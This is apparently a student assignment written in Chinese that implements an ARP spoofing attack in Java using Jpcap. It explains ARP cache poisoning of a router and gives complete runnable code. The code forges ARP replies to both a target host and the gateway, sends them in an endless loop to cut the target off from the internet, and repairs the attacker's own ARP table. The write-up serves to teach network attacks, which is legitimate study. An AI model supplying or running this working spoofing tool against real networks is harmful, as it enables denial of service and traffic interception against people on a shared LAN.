在arp攻击类型中选择一种,使用JAVA语言实现(需要Jpcap扩展包)
基本的ARP欺骗
ARP欺骗分为两种,一种是针对路由器进行欺骗,使路由器的ARP缓存中建立错误的IP与MAC地址映射表。另一种是对主机中的ARP缓存进行欺骗,伪造主机路由器IP和MAC地址映射表,使主机发送的数据都发送到伪造后的MAC地址对应的主机上。
本次作业实现对路由器的欺骗,大体过程如下:本机冒充靶机不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给靶机的数据无法到达目的地,从而致使靶机无法正常上网。
本次作业借助WinPcap来实现对数据链路层的相关操作,同时使用jpcap来作为沟通JAVA和WinPcap的媒介。
操作及运行结果如下:
1、Ipconfig /all 查看本机的IP以及mac
IP:192.168.43.99
Mac:MAC1
2、欺骗靶机的ip地址
IP:192.168.43.75
MAC:MAC2
3、在本主机上运行代码,选择网卡2进行欺骗。本机冒充靶机不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给靶机的数据无法到达目的地,从而致使靶机无法正常上网。
4、欺骗后,靶机无法上网,靶机的状态如下图。
靶机MAC:MAC1->MAC2
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import java.net.InetAddress;
import java.util.Scanner;
public class Main {
public static void main(String[] args) throws Exception{
int time = 1; // 重发间隔时间
Scanner scanner = new Scanner(System.in);
/*
为了省事,本地IP,Mac地址需手动输入
*/
// System.out.print("本机IP地址:");
InetAddress myIp = InetAddress.getByName("192.168.43.99");
//System.out.print("本机Mac地址:");
byte[] myMac = macToBytes("D8-C0-A6-67-4C-F7");
// 目标主机的IP与Mac
// System.out.print("目标IP地址:");
InetAddress targetIp = InetAddress.getByName("192.168.43.75");
byte[] targetMac = macToBytes(NetUtil.getMacAddress(targetIp.getHostAddress()));
// 网关的IP与Mac
// System.out.print("网关IP地址:");
InetAddress wanIp = InetAddress.getByName("192.168.43.1");
byte[] wanMac = macToBytes(NetUtil.getMacAddress(wanIp.getHostName()));
System.out.println("\n-------------------------------------------------\n");
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
for (int i = 0; i < devices.length;i++) {
System.out.printf("%s.%s,Mac=[%s]%n",i,
devices[i].description, macToStr(devices[i].mac_address));
}
System.out.print("\n选择一个网卡:");
NetworkInterface device = devices[scanner.nextInt()];
System.out.println("\n-------------------------------------------------\n");
JpcapSender sender = JpcapSender.openDevice(device);
// 告诉靶机: 我是路由器,实则填写的却是本机的Mac地址
ARPPacket arp1 = getARPPacket(myMac,wanIp,targetMac,targetIp);
// 告诉路由器: 我是靶机,实则填写的是本机的Mac地址
ARPPacket arp2 = getARPPacket(myMac,targetIp,wanMac,wanIp);
// 在欺骗目标的同时,自己的主机ARP表也会被破坏,导致访问不到路由器
// 所以下面两个包是告诉本机正确的IP地址对应的Mac地址
ARPPacket arp3 = getARPPacket(wanMac,wanIp,myMac,myIp);
ARPPacket arp4 = getARPPacket(targetMac,targetIp,myMac,myIp);
// 发送ARP应答包
for (int i = 1;true;i++) {
sender.sendPacket(arp1);
sender.sendPacket(arp2);
sender.sendPacket(arp3);
sender.sendPacket(arp4);
System.out.println("已发送: " + i);
Thread.sleep(time * 1000);
}
}
/**
* mac地址转byte数组的方法
*/
public static byte[] macToBytes(String s) {
byte[] bytes = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int i = 0; i < s1.length; i++) {
bytes[i] = (byte) ((Integer.parseInt(s1[i], 16)) & 0xff);
}
return bytes;
}
/**
* mac字节转字符串的方法
*/
public static String macToStr(byte[] bytes) {
StringBuilder str = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
str.append(Integer.toString(bytes[i] & 0xff, 16));
if (i < bytes.length - 1) {
str.append("-");
}
}
return str.toString();
}
/**
* 构造ARP包的方法
*/
public static ARPPacket getARPPacket(byte[] sender_hardaddr, InetAddress sender_protoaddr,
byte[] target_hardaddr, InetAddress target_protoaddr) {
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = sender_hardaddr;
arp.sender_protoaddr = sender_protoaddr.getAddress();
arp.target_hardaddr = target_hardaddr;
arp.target_protoaddr = target_protoaddr.getAddress();
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = sender_hardaddr;
ether.dst_mac = target_hardaddr;
arp.datalink = ether;
return arp;
}
}
import java.io.InputStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class NetUtil {
/**
* 执行单条指令
* @param cmd 命令
* @return 执行结果
* @throws Exception
*/
public static String command(String cmd) throws Exception{
Process process = Runtime.getRuntime().exec(cmd);
process.waitFor();
InputStream in = process.getInputStream();
StringBuilder result = new StringBuilder();
byte[] data = new byte[256];
while(in.read(data) != -1){
String encoding = System.getProperty("sun.jnu.encoding");
result.append(new String(data,encoding));
}
return result.toString();
}
/**
* 获取mac地址
* @param ip
* @return
* @throws Exception
*/
public static String getMacAddress(String ip) throws Exception{
String result = command("arp -a "+ip);
String regExp = "([0-9A-Fa-f]{2})([-:][0-9A-Fa-f]{2}){5}";
Pattern pattern = Pattern.compile(regExp);
Matcher matcher = pattern.matcher(result);
StringBuilder mac = new StringBuilder();
while (matcher.find()) {
String temp = matcher.group();
mac.append(temp);
}
return mac.toString();
}
}